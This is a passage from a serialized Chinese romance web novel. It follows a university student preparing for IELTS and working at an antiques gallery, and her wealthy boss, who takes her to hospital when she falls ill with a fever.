时不时地,傅沅宗也会跟钟缊酌聊几句,基本就是一些很日常的话题。 从寺庙到学校的这五十分钟路程过得很快。 两人背好背包准备下车,白琪跟傅沅宗挥了挥手:“帅哥再见。” 钟缊酌听后不禁汗颜,想起曾经自己也只敢恭恭敬敬地叫一声傅总。 看来有句话说的不错,初生牛犊不怕虎。 不过想想也是,人家没混你的圈子,自然不用守你的规矩。 只不过这个称呼对正主造成的冲击远比外人想象得更厉害。 ——帅哥? 无论是同事,或是身边的朋友,有哪个敢把这样轻浮的字眼用在他们身上,傅沅宗足足用了好几分钟才消化掉这两个字。 他有些怨念地瞧了一眼旁边的人。 那人就跟一颗青松似地,纹丝不动。 “我可是为了帮你才做得这些,结果你倒变成了哑巴,害我绞尽脑汁跟人搭话。” 秦拂清手指在太阳穴上画着圈,“你省省力气吧。” “嗬,这会儿又清高上了,是谁总嘴上说着陪我,结果一转头就找人小姑娘去了,两次了,我可忍你两次了。” “那都是意外,我总不能碰上了还晾着人家不闻不问吧。” “行,你都有理,合着到最后我成小丑了是吧?” “那倒不至于。” 秦拂清稍稍起身,换了个坐姿,眉眼带笑,“你收获也不算小,不是喜提新称号了吗?”- 钟缊酌没许愿雅思考过,但实际上她现在的雅思复习情况很糟糕。 成绩始终卡在6.5分上不去,她已经开始考虑要不要去报个辅导班了。 宋黎若劝她别去,说现在的培训班质量很难保障,你基础不错就没必要花这冤枉钱。 涂敬舟知道了这事儿,主动站出来:“缊酌,你以后放学可以来找我,我帮你看看。” 涂敬舟当时的雅思考了7.5,给她补习也算是够用。 两人的关系也没必要客气,钟缊酌表达过感谢之后,每天晚上便跑到他家里请教功课。 这样的日子持续了一周。 涂敬舟的学习方式是灵活性的,他的语感很强,很多时候做题是靠感觉,但这种能力却没办法传授给别人。 而钟缊酌因记忆力好,能记下很多词汇和句子,高考是够用了,但对于雅思这样更偏向实用性的考试,反而成为了她的障碍。 记了太多,却不能进行很好地区分和应用。因此刻苦了半天,钟缊酌几乎没能看见任何可预见的提升。 涂敬舟挺愧疚地戳着桌面,拿笔在草稿纸上乱画。 再抬眼扫过女孩那紧皱的眉头,心下一横:“不然我再给你推荐个人吧,他是学翻译专业的,应该比我强。” 听到翻译专业,钟缊酌脑中立刻出现了一个人的名字。 “你说的是吴少维吗?” “对,你跟他熟不熟?” 钟缊酌顿了下,“还成。” “那就好了,我还怕你跟他不熟不好意思呢。”涂敬舟拿起手机翻开通讯录,“我这就给他打电话。” “诶等一下。” 钟缊酌扣住他手机,“但我要去人家里总不太合适吧。” 讲句实在话,钟缊酌来涂敬舟家是没有任何心理负担的。 从前每次他从国外回来,她和若若两人就会找他来玩儿,伯父伯母待她也非常好。 可跟吴少维,怎么都还没熟到那个地步。 “没关系。”涂敬舟开始劝她,“吴少维这人挺不错的,咱先问问,他要是也觉得不合适那就算了,再想别的办法,这样行不行?” 钟缊酌被他的面面俱到说服了,点头说:“也好。” 涂敬舟打着电话,一旁的钟缊酌听到他一直在说“嗯,对,是这样”,就知道问题不大了。 “吴少维说他随时可以,看你时间。” 钟缊酌卸了口气,“敬舟,这次真麻烦你了。” “嗐,客气啥。” 钟缊酌是隔日的那天晚上去的吴少维家。 她还特意给吴父带了见面礼,打开门后,屋里却只有吴少维一人。 “我父亲一般要忙到很晚才到家怎么还这么见外了呢。”吴少维接过她手中的袋子,那是家里珍藏了很久的茅台。 钟缊酌买不起什么贵重的东西,就只能拿出当年父亲留下的藏品。 吴少维给她倒了杯水,“走时拿回去吧,我父亲不喝酒。” 钟缊酌知道那只是他推辞的话术,当领导哪有不喝酒的。 “你若是不收下,我明天也不会来了。” 吴少维拿她没辙,只能暂且依她。 心说别看这姑娘说话温柔,性子却挺刚强。 “你学雅思,是想以后出国留学吗?”吴少维翻着她的书,边看边闲扯起来。 “嗯,想去英国留学。” “这样啊”吴少维忽然停住手上的动作,转头问她,“是因为涂敬舟想去的?” “啊?”钟缊酌没明白他为什么这么说,“跟他没有关系呀,是我自己想去深造,这个专业竞争太激烈,所以要给自己增加个筹码。” 吴少维笑笑,“噢,抱歉了,当我没问。” 他接着拿起她的练习册,“我先看看以前的错题,了解下你目前整体的情况。” 钟缊酌感激道:“好的,辛苦你。” 周四这天晚上,临走前,吴少维说他明天外出做宣讲,会议地点就在她学校附近,表示早上可以顺便捎她一程。 最近几日的频繁接触让两人关系更近了一些。 钟缊酌也没再客气,挺痛快地答应了。 次日,钟缊酌早出来一会儿,走到主路上去等他。 后面那栋楼就是秦拂清住的,钟缊酌也是许久没见过他的身影,在猜想他最近是不是很忙。 正想着这事儿,从楼道里走出个人,一手拎着行李箱,另一手拿着个公文包。 仔细一瞧,那人好像是季总 钟缊酌定睛看过去的几秒,季昌也注意到了她。 他把行李箱放到车旁,走过来和她打招呼。 “钟小姐,要去学校吗?” “嗯。”钟缊酌也礼貌回一句,“季总,您在帮秦总拿东西呀。” 季昌伸手指向车里,“秦总过几天要回这里住了,我先帮他带回一些物品。” 钟缊酌才知道,原来秦拂清这段时间根本没在院儿里住,怪不得一直见不到他。 清早的凉风拂过脸颊,钟缊酌将大衣领子稍稍拉高,笑说:“那您先忙。” 季昌打开车门准备装东西,似乎想起什么,又抬头看她:“对了,钟小姐。” 他面容和蔼地跟她讲,“以后请别喊我季总了,我单名一个昌字,叫我昌叔就好。” 钟缊酌不知季总为何突然跟她拉近乎,但也没想太多,轻轻点头:“可以的,昌叔。” 一辆白色轿车在她面前停下,钟缊酌弯腰上了车。 刚收拾完装箱的季昌看到这一幕,差点儿以为自己老花眼了,心里可劲儿打起鼓来。 如果没看错的话,那应该是吴少维的车,他送钟小姐去学校? 秦总这才离开不到两个月,后院就着火了吗? 作者有话说:评论区掉落红包~ 第24章 昨晚做题熬了太晚, 闹铃响过很久,钟缊酌才勉强爬起来。 她也顾不上吃早饭了,直接奔去学校。 好在大院离学校并不远,呼哧带喘地跑到教学楼下时, 正好看到宋黎若被搀扶着下了车。 谈勉站在旁边低头和她说话, 他穿着皮夹克, 一身桀骜不驯的贵公子气态,再加上那辆惹眼的阿斯顿马丁,引起了不少学生驻足围观。 “你赶紧走吧,磨磨唧唧的像个老头子。” 谈勉被数落一番,才悻悻回到车上, 又探头跟她嘱咐:“放学以后别乱跑,等我过来。” “知道知道, 我一定乖乖地听话,拜拜。” 一声轰鸣声过后, 钟缊酌走过去,搀着宋黎若的胳膊, “人家对你多体贴呀, 宋小姐怎么一点都不领情呢。” 宋黎若的脚伤好了许多,现在已经用不上拐杖, 只是右脚不能用力, 走路还一瘸一拐地。 她一副满不在乎的样子:“他最近闲得呗, 要升职了, 交接完工作也没事干, 就等着任命书下来呢。” 钟缊酌很是惊讶,“谈勉看着挺年轻的,才工作多久就升职了呀?” “一个小部门领导而已。”宋黎若深一脚浅一脚地踩着地面, 声音平静,“他大学毕业后直接工作的,也有三年了。” “那也很厉害了。” 两人是踩着铃声进的教室。 坐下之后,钟缊酌扫了一眼目录,这节课要讲的内容很多。 困意直侵大脑,钟缊酌揉了揉眼睛,强打着精神挺直了后背。 一天的课程结束,下午六点,那辆阿斯顿马丁准时停在了二号教学楼楼下。 有几个路过的女生非常社牛的上来搭讪,碍于面子,谈勉不好直接将人轰走,只能有一搭没一搭地应和着。 宋黎若从楼道出来时,恰好看到了这一幕。 手上的力道不自觉加重,掐得钟缊酌直呲牙。 “我们打车回去,不坐他的车了,别打扰人家好事。” “什么好事啊,我看他也挺不情愿的。”钟缊酌一边忍着痛一边劝,“或许是被搭讪的呢,你喊他一声试试?” “得了吧,你没看那张脸上神采飞扬的,咱可不能这么没眼力见。” 钟缊酌没看出谈勉脸上哪里神采飞扬了,只听出好友语气是真酸酸的。 眼看宋黎若就要掏出手机打车,她赶紧喊了一嗓子:“谈勉!” 谈勉回过头时,表情明显僵了一瞬。 “你干嘛,我生气了。” 钟缊酌冲谈勉眨眼,同时还得安慰这位醋包,她紧紧抱着她的胳膊不撒手,“别气,我们要给人解释的机会对不对” “宋黎若!”谈勉跑过来,气息还没稳,伸手就往她前面一拦,“你去哪儿?不是说好乖乖等我吗?” “我等你?结果就让我看你在这儿撩妹啊。”宋黎若单手叉腰,气呼呼地瞪他,“大家的时间都很宝贵,别浪费在——” 宋黎若的话还没说完,直接被谈勉一个弯腰打横抱起。 这一动作把钟缊酌惊得连连往后退了好几步。 眼见宋小姐就跟被山大王抢走当压寨夫人似地胡乱捶打一气:“快放我下来,丢死人了!” 她不敢太大声,只能咬牙切齿地发出声音,“我回去就告诉你爸妈,让他们来收拾你” 钟缊酌笑眯眯地隔着车窗冲两人挥挥手,然后独自往宿舍走。 她今晚还需要跟白琪对接项目上的事情,恐怕没办法回院儿里了。 宿舍里已经供暖,热气腾腾地,钟缊酌将大衣脱掉,只穿了一件修身羊绒衫。 白琪没在,她便坐在书桌旁看起了书。 钟缊酌看得太认真,楚希雅盯她盯了很久,她才若有察觉,侧过头表情迷茫地问起:“希雅,我脸上有东西吗?” “我是真的好奇。”楚希雅手托着腮,一字一顿地发出疑问,“你是怎么能在一群帅哥之间保持单身这么久的。” 还以为要听到什么惊天动地的言论。 钟缊酌蓦地被她这副钝愚可爱的模样逗笑了。 “你别笑啊,白琪都告诉我了,说你们去古柘寺那天,又遇见个超级大帅哥,诶,你们院儿里是不是个个男帅女美啊。” “当然不是。”钟缊酌放下笔,一本正经跟她普及,“其实好看的男生就那么几个,主要是大家处在这个环境里,衣着相对讲究,人就显得精神很多。” “不过,漂亮的女孩子确实不少,我参加聚会的时候姑娘们个个花容月貌的,呼吸都不自觉跟着放缓。”她弯眼道。 “原来如此,要是咱学校的男生也能注重一下形象就好了。” 楚希雅一声长叹,颇为感慨,“什么时候这世上的男人能和女人一样学会体面一些啊,不求多会打扮,起码干净清爽吧。” 两人闲扯的功夫,白琪也回来了。 她麻利从柜子里翻出洗浴用品,对钟缊酌说:“等我一会儿,洗完澡咱俩就开始对数据。” “嗯,不急。” 今晚核完数据,明天就要去开讨论会,多半还是回不了大院。 早知如此,应该多带几套衣服的。 钟缊酌的大衣吃饭时弄脏了一角,她纠结许久,还是决定换掉,临时找了件仅存的薄外套。 母亲昨晚才打过电话来,叮嘱说天气冷了,要她多添件衣服。 结果她敢情好,没添一件,倒换了个薄的。 钟缊酌手脚冰凉地上完了一天的课,又瑟缩着身子来到会议室开讨论会。 满屋子朝气蓬勃的精英学生,前面坐了一排领导,和那位清贵不凡的资助方代表。 钟缊酌迫使自己重新打起精神。 照例是领导先讲话,然后小组组长发言,再讨论总结,大家情绪高涨,两个小时的时间过得很快。 最后,张院长和几位领导建议会后一起聚个餐。 “秦总,您有没有时间留下吃顿饭?”张仲年笑呵呵地问旁边的男人。 秦拂清合上笔记本,微微侧身,两手交叉在桌前:“抱歉院长,我今天恐怕不能领您的好意,回去还有工作。” 张仲年一摆手:“无妨,我们下次再约。” 秦拂清走出会议室的一刹那,钟缊酌忽然想起这周要去馆里的客人还没定下来。 冯伯说可能会来两位女士,但还要跟秦先生去确认。 既然他人就在这里,何不自己直接去问问? 如果有女士要来,她是打算准备两壶花茶的。 那身影已消失在门口,钟缊酌忙拎起书包往外跑,一直追到大厅外的台阶处。 一大片绚丽的红色,像一团燃烧的火焰,从天际蔓延开来,落入暗沉的暮色里。 她看到秦拂清站在车旁,西装革履,风度翩翩,轮廓分明的侧脸隐匿在霞光中,低着头同旁边的女生讲话。 光是这一幅美人美画的场景,就能叫人浮想联翩出一段缱绻旖旎的故事来。 台阶上陆陆续续有同学走下,钟缊酌往旁边让了让,站在一侧等着他们聊完。 “那不是何诗绾吗?她还真追上了秦先生啊。” “不见得吧,看那样子是在聊学校项目的事。” “可秦先生很忙的,换谁能跟他聊这么久?” 确实,在钟缊酌印象里,他很少在面对一个没有任何交集的晚辈时,能显露出这样的耐心。 白琪也出来了,她看到钟缊酌单薄的身影站在寒风里,从后面拍了拍她:“缊酌,在这里做什么呢?” 钟缊酌不知要如何解释她和秦拂清的关系,目光在前方那两个人身上游离不定。 白琪顺势转过头去,做出恍然大悟的表情,误以为她在看八卦,“瞧,我说的没错吧,她肯定会私下找他的。” 钟缊酌已经快冻傻了,哪还有心思听她讲这些。 她往手掌上哈气,看那边架势还没有结束的意思,总不能直接过去打断人家。 不管了,跟工作相比,还是命比较重要。 “我们走吧。”她拽起白琪就要往台阶下跑。 “诶,你慢点儿!” “再慢我就要成冰棍儿啦!” 两人像风一样擦过男人的身侧。 钟缊酌自然也就无法捕捉到,他有意无意撇过来的那道目光- 周六这天,钟缊酌被告知两位女老板的到访改成了下周。 钟缊酌给小虎喂完猫粮,洗完手出来,听见冯伯说:“今天集团里开大会,所有的行程都取消了。” 他瞧了一眼长桌上的茶具,又补充一句,“花茶你留给自己喝吧。” 钟缊酌应诺一声,跑过去收拾,“那我泡好了也给您端过去尝尝。” 钟缊酌醒完茶,用沸水浸泡了大约五分钟后,刚准备倒入公道杯,就听到门口传来响动声。 “这个时候会是谁呢?” 冯盛站起来,想去开门,那人却已经自己打开了密码锁。 秦拂清迈着沉稳的步子,在两人错愕的表情中进了屋。 他闻了闻空气里的茶香:“看来我来得挺是时候,看看你的手艺有没有进步。” “您怎么过来了,今天集团不是要开会?”冯伯上前迎了一下。 “我们被单拉出来在这附近的酒店开,顺便来瞧瞧。”秦拂清说完这句之后,便转身去了会客室。 钟缊酌和冯伯对视一眼,忙将茶倒进公道杯,使茶水浓度均匀,而后端起杯子跟了进去。 秦拂清脱下西装,坐在红木椅上。 瞧着那唇红齿白的小姑娘在他面前放下品茗杯,拨动手腕将茶水倾入。 他喉结轻动,又将领带扯松了些。 他似乎是真渴了,没再一口一口地品尝,竟然直接一饮而尽。 喝完之后,唇边沾了一圈水渍,颇有失态之疑。 秦拂清抽出纸巾擦了擦。 如此令人想入非非的画面,目视完这一切的钟缊酌依然心如止水,还眼巴巴地等着他的评价。 秦拂清却始终没提这事儿。 他指了指长桌的对面,示意她坐下。 往往摆出这个架势时,就是有正事要谈了。 钟缊酌缓步走到椅子旁,将双腿并拢,手平放在膝盖上,规矩坐好。 “冯伯可能没跟你说过,你的职位并不是长期的。” 钟缊酌怔了怔,没料到他会突然这么讲。 秦拂清眉眼低垂,不着痕迹地扫了她一眼,继续道:“哪天我觉得这个馆没必要开了,或者来的人都是熟客的时候,你这个讲解员的工作就变得毫无意义。” 听这个意思,应该过不了多久,古玩馆里就不再需要她了。 这是在提前给她打好心理准备。 钟缊酌轻轻抓了一下裤子上的布料,平稳下呼吸:“我理解,本身就是兼职,职位是会随时取消的。” 其实钟缊酌一直觉得,能短暂接到这份工作,赚取一些留学费用,对她来讲就已经很满足了。 从前做的那些兼职,家教,客服等等,花费的时间比这个更长,赚得却没有更多。 况且,到了大四之后,她该为申请学校做准备,多半会找跟专业相关的实习来做。 空气短暂沉默一会儿,秦拂清又忍不住提醒:“你若是以后没了这份工作,恐怕很难再联系上我。” 听完这一番话,对面的女孩只是不明所以地“啊”了一声。 “啊什么啊。”秦拂清眼皮直跳,看她这副淡定的态度,怕是一点儿也没理解他这段话的含义。 秦拂清声音里带着些烦躁,“不是欠了我人情?都联系不上我了,还怎么还?” “噢对。”钟缊酌没料到他会特意说起这件事。 她自然没忘记自己还欠着人家的情,可他需要她做什么的时候,不应该会来找她吗? 秦先生这么神通广大,想找一个人还不是动动手指的事情。 钟缊酌说:“我有冯伯的手机号,可以通过他来联系您” 秦拂清被这姑娘的钝感力气得太阳穴疼。 他看了眼时间,也懒得再跟她拐弯抹角:“我一会儿还要去开会,你现在记一下我电话号码。” 钟缊酌着实没搞懂这个男人的思维为何如此跳跃。 但她还是乖乖拿出手机,新建了联系人,“嗯,您说吧。” 报完一串数字,秦拂清慢条斯理地叮嘱:“以后有什么事直接找我,不需要通过冯伯。” 钟缊酌公事公办地回应:“好的” 女孩离开后,秦拂清看着窗外苍翠欲滴的龙鳞春羽,悻悻点燃了一根烟。 这些年来,他不是没见过大着胆子来主动勾搭的女人。 有三十岁的熟女,也有二十多岁的清纯小姑娘,可偏偏她对他似乎没有过一丝邪念。 秦拂清闭上眼睛,任由时间流逝,那香烟燃了半截,也没抽上一口。 直到火星溅起,指背皮肤传来一阵灼热的痛感,秦拂清夹着烟的手不自觉抖了一下。 他站起身,有些气恼地将剩下的半截烟扔进了垃圾桶里。 这时候冯伯来敲门:“秦先生,老季在外面催您呢。” “知道了。” 等他喝完茶水,整理好领带,再重新穿上外衣,看见垃圾桶里躺着的那根燃灭的烟头时。 自嘲般地笑了声,也不知道自己究竟生的哪门子气。 作者有话说:评论区掉落红包~ 第25章 钟缊酌的嗓子有些不舒服, 灌了整整一大杯的温水,还是感到隐隐发涩。 她怀疑是中午吃的那碗牛肉面放太多辣椒的缘故。 这段时间古玩馆有增添新物,她用手压了压喉咙,接着看起了资料。 直到那些密密麻麻的文字在眼前跳动起来, 大脑也跟着发沉, 钟缊酌才察觉到不对劲。 她摸了摸额头, 好热。 钟缊酌两手撑住桌子边缘站起来,踉跄着步子晃晃悠悠地去隔壁休息室找冯伯。 冯盛正在给一盆吊兰修剪枝叶,看到缊酌出现在门口时,脸蛋儿通红,眼神迷离, 一副病怏怏的样子。 他赶紧走过去,扶她坐在椅子上, “怎么了这是?发烧了?” 钟缊酌深深呼了口气,说话声音都含糊不清, “嗯好像是。” 冯盛扫了一圈屋子,最后视线停留在那张写字桌上, “稍等, 我给你拿体温计。” 他从抽屉里掏出一支水银透明体温计,递给钟缊酌。 考虑到在这儿不方便, 想了想, 又说:“去会客室量吧, 那里暖和些。” “谢谢冯伯。” 冯盛重新翻了一遍抽屉, 没有找到需要的物品, 叹口气,“但我这边没有感冒药了,我记得秦先生是有的, 一会儿我得先向他请示一下,能否借用他的医药箱。” 钟缊酌回忆起来,之前他确实在会客室里给她拿过药膏来着。 她现在已经有了秦拂清的联系方式,不想再麻烦冯伯,便主动提了一嘴:“没关系,我有他号码,我自己来问吧。” 冯盛泛白的眉毛扬起,仿佛听到一件很不可思议的事。 他斟酌措辞,再次跟她确认:“你的意思是,秦先生把他私人电话给你了?” 钟缊酌本就不懂私人号码的重要性。 况且,她此刻头昏脑胀的,更捋不清这里面的弯弯绕绕。 “是的,冯伯,那我就先过去了。” 她走起路来脚步都在打晃,摸着门进了会客室。 钟缊酌直接坐在了沙发上,解开衣领扣子开始量体温。 若是往常,给她十个胆子都不敢在这里做这些的,但现在已经顾不上那么多了。 七八分钟后,她眯着眼去找刻度,三十八度五 这么一会儿,其实她已经能大致猜出感冒的原因了。 定是开讨论会那天,衣服穿得太薄的缘故。 这要是被叶女士知道,又会要打电话过来唠叨一天。 钟缊酌拿出手机开始给秦拂清发信息: 【秦总,抱歉打扰一下。我好像有点发烧,想问问可否借你的医药箱用一下呢?】 这个时候他应该在开会,也不知道能不能看到。 钟缊酌还在思考时,手边的信息已经蹦了出来。 FU:【别乱吃药,等我回来,我这边三点结束。】 钟缊酌双手抱住手机,盯着屏幕看了许久。 万万没想到会得到这样的回复。 可是他来能做什么?他又不是医生。 没有秦拂清的允许,钟缊酌也不敢去翻他的箱子。 距离三点还有一个小时,她便披着外衣窝在沙发上,给自己找了个舒服的姿势,闭起眼睛休息 在会议即将结束的最后五分钟,秦拂清看了手表不下十次。 最后一次眼神飘过去后,终于听到那一句“请各部门抓紧时间落实,感谢各位领导的参与,会议到此结束。” 秦拂清跟总经理和各部长作了简短的告别,然后吩咐季昌把车开回古玩馆。 当他风尘仆仆地迈进会客室时,一眼望见那小姑娘,整个身子被一件墨绿色的大衣包裹起来,露出白里透红的脸蛋儿,蜷缩在沙发一角。 肩头正随着呼吸一起一伏,似乎睡得很香。 秦拂清脚下一顿,不自觉放缓了呼吸。 他走过去,一条腿半跪在沙发旁,轻拍着她的后背:“缊酌,别在这里睡,跟我去医院。” 被打扰了美梦,钟缊酌先是哼唧了一声,紧接着嘴里开始嘟嘟囔囔地说着什么。 也不知是在回答他还是烧得说起了胡话。 秦拂清微微探身,耳朵凑过去:“你说什么?” 她呼出来的热气瞬间扑在了男人的耳廓旁和脖颈处,秦拂清明显感受到自己做了个吞咽的动作。 “我说我不去医院一个感冒而已哪里用得着去医院呐” 秦拂清直起身来,稍稍和她拉开了距离。 小姑娘双眼紧闭,黑羽般的长睫落下浅浅阴影,看似一幅嫣然入梦的场景。 可她的眉头分明紧皱着,呼吸也因发烧而变得粗重。 秦拂清心下了然,知道这绝非是普通的感冒。 他抱着老父亲般的心态,轻轻伸出右手,只用掌根碰了碰她的额头。 好烫 根据他的经验,恐怕已经是到高烧的程度。 秦拂清不再犹豫,先用手臂拖住她的后颈,把外套简单给她穿上。 然后匐在沙发旁,双手施力,直接将人拦腰抱起。 秦拂清不确定在这个过程中有过几次失神。 但这一刻,他只关心她的身体情况,无关其它欲念。 怀里的女孩终于被这一系列动作弄醒了,迷迷糊糊地睁开双眼。 出现在她眼前的是,一抹黑色西装勾勒出的宽厚胸膛,再往上,再熟悉不过的一张透着威严的清俊面孔。 钟缊酌觉得自己一定是在做梦。 她怎么跑到秦拂清怀里去了呢? 而男人也只垂眸扫了她一眼,没说话,迈着步子继续往外走。 正巧撞上了前来探望的冯伯。 他瞧见这幅暧昧不清的画面,惊得差点儿摔了跟头。扶了一把门框,才将身子稳住:“秦先生,这是” “她烧得很厉害,必须马上去医院。” 秦拂清没做多余解释,示意他帮忙打开外侧的榆木门。 冯盛不得不收起内心的疑惑,连忙应诺一声。 紧走几步按开大门后,眼巴巴看着他将女孩小心抱到那辆宾利车的后座上。 他当然知道缊酌烧得很严重。 可让冯盛感到惊诧的根本原因,是秦先生怎么会为了一个手下发烧的员工,要亲自送她去医院? 冯盛深深吁了口气。 脑中浮现出来一种可能,理智却不敢叫他再细想下去。 钟缊酌半躺在宽敞舒适的座位上,听见秦拂清沉着声说“去协和医院”,混乱的思绪终于逐渐清晰。 所以这一切都是真的,她不是在做梦。 他刚才真的抱着她出来的? 一想到这儿,钟缊酌也顾不上头晕了,硬撑着坐起来,结果差点儿又栽倒在旁边的人身上。 “别乱动,好好躺着。”秦拂清厉声命令。 钟缊酌偏过头去,不想躺着,干脆趴在了靠枕上。这姿势实在不怎么体面,甚至可以说很难看了。 她喉咙像抹了浆糊,仍不忘说一声:“谢谢秦总。” 秦拂清并不领情:“等你病好以后再慢慢跟我说,别现在拿屁股对着我道谢。” 本来因刚刚的亲密接触就让钟缊酌很不好意思,这句半带调侃的话一出来,她觉得自己的脸烫得可以煎份鸡蛋了。 钟缊酌即刻闭上了嘴。 发烧时的状态不同于平常,从来不晕车的缊酌也隐隐感到胃里在翻滚。 她只能强撑着往下压。 还好路程很短,十几分钟后,车子便开到了协和门诊部。 季昌去帮忙挂了急诊,拿完号,显示前面还有一人排队。 等候期间,钟缊酌不想耽误他们太久,气若游丝地提出建议:“秦总,后面的事我自己来就好,不必麻烦您和昌叔在这里等着了。” “你看看你现在的状态,像是一个人能处理好的样子吗?”秦拂清坐在一旁说。 他的坐姿不怎么端正,空了半个位子,以至于将两人的距离拉得非常近。 这样的非安全社交距离,钟缊酌实在没办法正常思考。 她觉得自己的身子只要稍微一歪,就能毫不费力地靠在他的肩膀上。 钟缊酌平视着前方,努力忽略这一切。 这一刻,她甚至想不通秦拂清这么热心地送她来医院,到底是出于关心,还是因在他馆里生病,作为老板就要摆出一副负责到底的态度。 但无论是哪一种,都让钟缊酌感到难以理解。 里面的机器叫了她的号。 钟缊酌推门进去,大夫给她做了简单的检查,又问了几个问题,钟缊酌说刚刚量过温度,是三十八度五。 朱主任摸了下她的额头,递过去一支温度计:“再量一次。” 结果这一量不要紧,竟然直接飙到了三十九度。 朱主任当机立断,开了病诊单,让她缴完费就去输液。 钟缊酌手里攥着几张费用单,也不知是不是吓得,突然觉得自己似乎没那么难受了。 “大夫,有那么严重嘛?我能不能先吃药啊。” “不行,体温升得太快了,药物若控制不住会有危险。” “” 钟缊酌从小最害怕的就是打针输液。 母亲说小时候有次带她去打预防针,向来乖巧的她竟然趁着护士不注意,一把将那针头拔出来往地上一扔,护士都忍不住感叹说这小丫头看着挺可爱,脾气可真大。 季昌很快缴完费用,钟缊酌蜷着手指,恹恹地跟着导诊来到输液室。 秦拂清看出她脸色不好,扶了下她的胳膊。 问还能不能自己走,顺便安慰她说别紧张,等输完液就没事了。 钟缊酌小声嘟囔着:“就是因为输液才有事呢。” 秦拂清低头看她,察觉小姑娘一直盯着护士手中的医疗器具,其中缘由便也猜到了八九分。 他轻轻扯动唇角:“你怕这个啊。” 钟缊酌不想他把自己当成小孩子,自尊心占了上乘,带着掩饰说:“一点点。” 钟缊酌躺到病床上,表情僵硬地看着护士在那儿一阵忙叨。 这时候秦拂清忽然伸出手,覆在她眼前,遮住了原本的视线:“害怕的话就别看了。” 如此自然亲昵的互动,任谁瞧见都会心生误会。 护士眼含着笑意:“你男朋友多体贴啊,还紧张什么呢?” 从前也有几次好友在背后八卦她和秦拂清关系的,可那都是私下里说。 如今被拿到明面上,带来的影响肉眼可见放大了十倍。 钟缊酌神经霎时紧绷起来,不敢看旁边人的表情。而秦拂清的那只手也明显顿了下,随即从她面前拿开。 两人都沉默下来,钟缊酌着实不知该不该解释。 不解释,心里藏着这份别扭,解释了,只怕会让场面变得更尴尬。 最后,待钟缊酌顺利打上了点滴,秦拂清才咳嗽一声,很淡地提一句:“我们不是情侣。” 像是不怎么在意这些,只是单纯为她解围。 这时候一直守在门口的季昌忽然走进来,在秦拂清耳边低语一番。 他眉头皱了皱,乌沉的目光在钟缊酌脸上扫过,和她叮嘱:“我们先离开一会儿,你好好休息,有事记得按呼叫铃。” 自打打上点滴之后,也不知是否是心理作用,钟缊酌竟然觉得身体没那么难受了。 她平静地望着他,眸底是遮不住的感激:“谢谢秦总,您去忙吧,我挺好的。” 秦拂清嘴角以不易察觉地弧度向上弯了弯,一手抄着口袋,随后和季昌一起走出了输液室。 “邹总在哪儿?” “在大厅药房。” 季昌快步跟在秦拂清后面,“他说老早就看到您了,就是瞧您和钟小姐在一块儿,没好意思来打扰。” 秦拂清冷哼一声:“他知道什么钟小姐,原话可不是这么说的吧。” 季昌哪儿敢说实话,邹总嘴里说的是“跟小女友亲密呢”,他总不能把这词往外吐露。 不过想想人家也没瞎说,谁叫您不好好坐着,非跟钟小姐凑那么近。 秦拂清身形优越,揣着口袋往那儿漫不经心一站,邹律就一眼认出了他。 “秦总,忙完了啊。” 邹律眉开眼笑地上前打招呼,“我就过来拿点药,刚才跟老季说别去叨扰了,还非又把你喊过来,多不好意思。” “客气了邹总,我也没什么重要的事儿。”秦拂清顿了顿,言简意赅,“一朋友发烧了,送她来打点滴。” 秦拂清这话里的意思摆明了那就是一普通朋友,你也别瞎想。 但邹律不是傻子,普通朋友和女朋友还是分得清的。 亲自送人到医院,坐下时身子都挨一块儿去了,这是秦总给普通朋友的待遇? 打死他都不信。 可他不愿意承认,说明这事儿不简单。 都说秦总为人清正,铁面无私,在集团从未和女同事走过太近,更别说那些乱七八糟的桃色新闻了。 他跟这些向来是分文不沾的。 因此邹律想破脑袋也没想明白到底什么情况。 而他这副疑惑的模样倒是被对面的人看得一清二楚。 邹律是集团副总经理,和秦拂清属于同级,只是管理的部门不同。 两人平时井水不犯河水,关系说不上多好也说不上不好,但他跟别人闲聊时会不会嘴一滑带上这段八卦,就不是秦拂清能控制得住了。 “邹总,我记得您最近在死磕一家独角兽公司,可有进展?” 邹律一拍手,颇为遗憾道:“别提了,那老总心气太高,对我们提出的合作方案始终不感冒,集团又不肯放宽政策,我真是两边被卡,没辙了。” 秦拂清笑了声:“如果我没记错的话,他家董事长是霍老霍严纲的儿子。” “没错,难道秦总还认识霍前辈?”邹律惊讶地看着他。 “霍老先生隐居多年,我也是曾经和他有过几面之缘。” 秦拂清神色平静,像是随意一提,“这样吧,我试试能否劝一劝霍老先生,如果成功了,也算是为集团做了件好事。” “哎呦,那真是太感谢秦总了。” 秦拂清没明说,但赶在这种时候主动提出帮忙,大家心里都清楚怎么回事。 邹律拍着胸脯保证:“秦总放心,我这人向来不喜欢跟人乱讲话,尤其是对别人的隐私,绝对不会透露出半点信息的。” 又闲扯一会儿之后,见时间不早了,邹律和两人告了别。 季昌忙走上前,欲言又止地,却不肯张口。秦拂清点他:“有话就说,别总憋着,给身子都憋出病了。” “秦总,您真要去找霍老先生啊。” “话都说出去了,我还能骗人不成。” “可霍老那边” “我知道你在担心什么,我自有分寸。” 季昌不知秦拂清心里究竟怎么打算的,但他现在纠结的却是另一个问题。 作为秦拂清的私人秘书,按理说季昌不需要替他操心感情之事。 可毕竟秦总对钟小姐是真上心了,背后辛辛苦苦做了这么多。 所以他要不要给他提醒一句,大院那边的吴公子,才是他最大的隐患? 然而没等季昌思考清楚,秦拂清已经迈开腿往输液室的方向走去。 他站在原地未动,就这么愣神的几秒功夫,秦拂清已经转过头来,盯了他两眼。 语气颇为无奈:“又怎么了?” 秦拂清到底不比一般人,对方稍有不对劲,就能瞬间察觉出来。 季昌轻轻咳嗽一声,在脑子里斟酌措辞:“秦总,我上次帮您回院儿里拉东西,看见钟小姐坐吴少维的车去上学。” 秦拂清眉间皱起:“确定吗?” “确定,当时我们还聊了几句。” 沉默一会儿之后,秦拂清也没再说什么。 只是从兜里掏出手机,拨了个号码出去。 他垂着眸,冷声对季昌吩咐:“在我没回去的这段时间,给我找人好好看着那姓吴的。” 作者有话说:评论区掉落红包~ 第26章 朔风凛冽, 冬日的阳光洒在身上,依旧明亮,只是少了几分温暖。 吴少维独自躺在院子里的摇椅上,避世般地, 静静享受这份孤独的日光。 直到屋子里走出个人, 冲他喊一声:“阿姨做的梨花酥真好吃, 我能带一点回去吗?” 吴少维眉眼动了动:“随你。” 张桢用湿巾擦了擦手,拿冰凉的一角贴在他脸上,看躺着的人打了个激灵,发出恶作剧一般的狂笑。 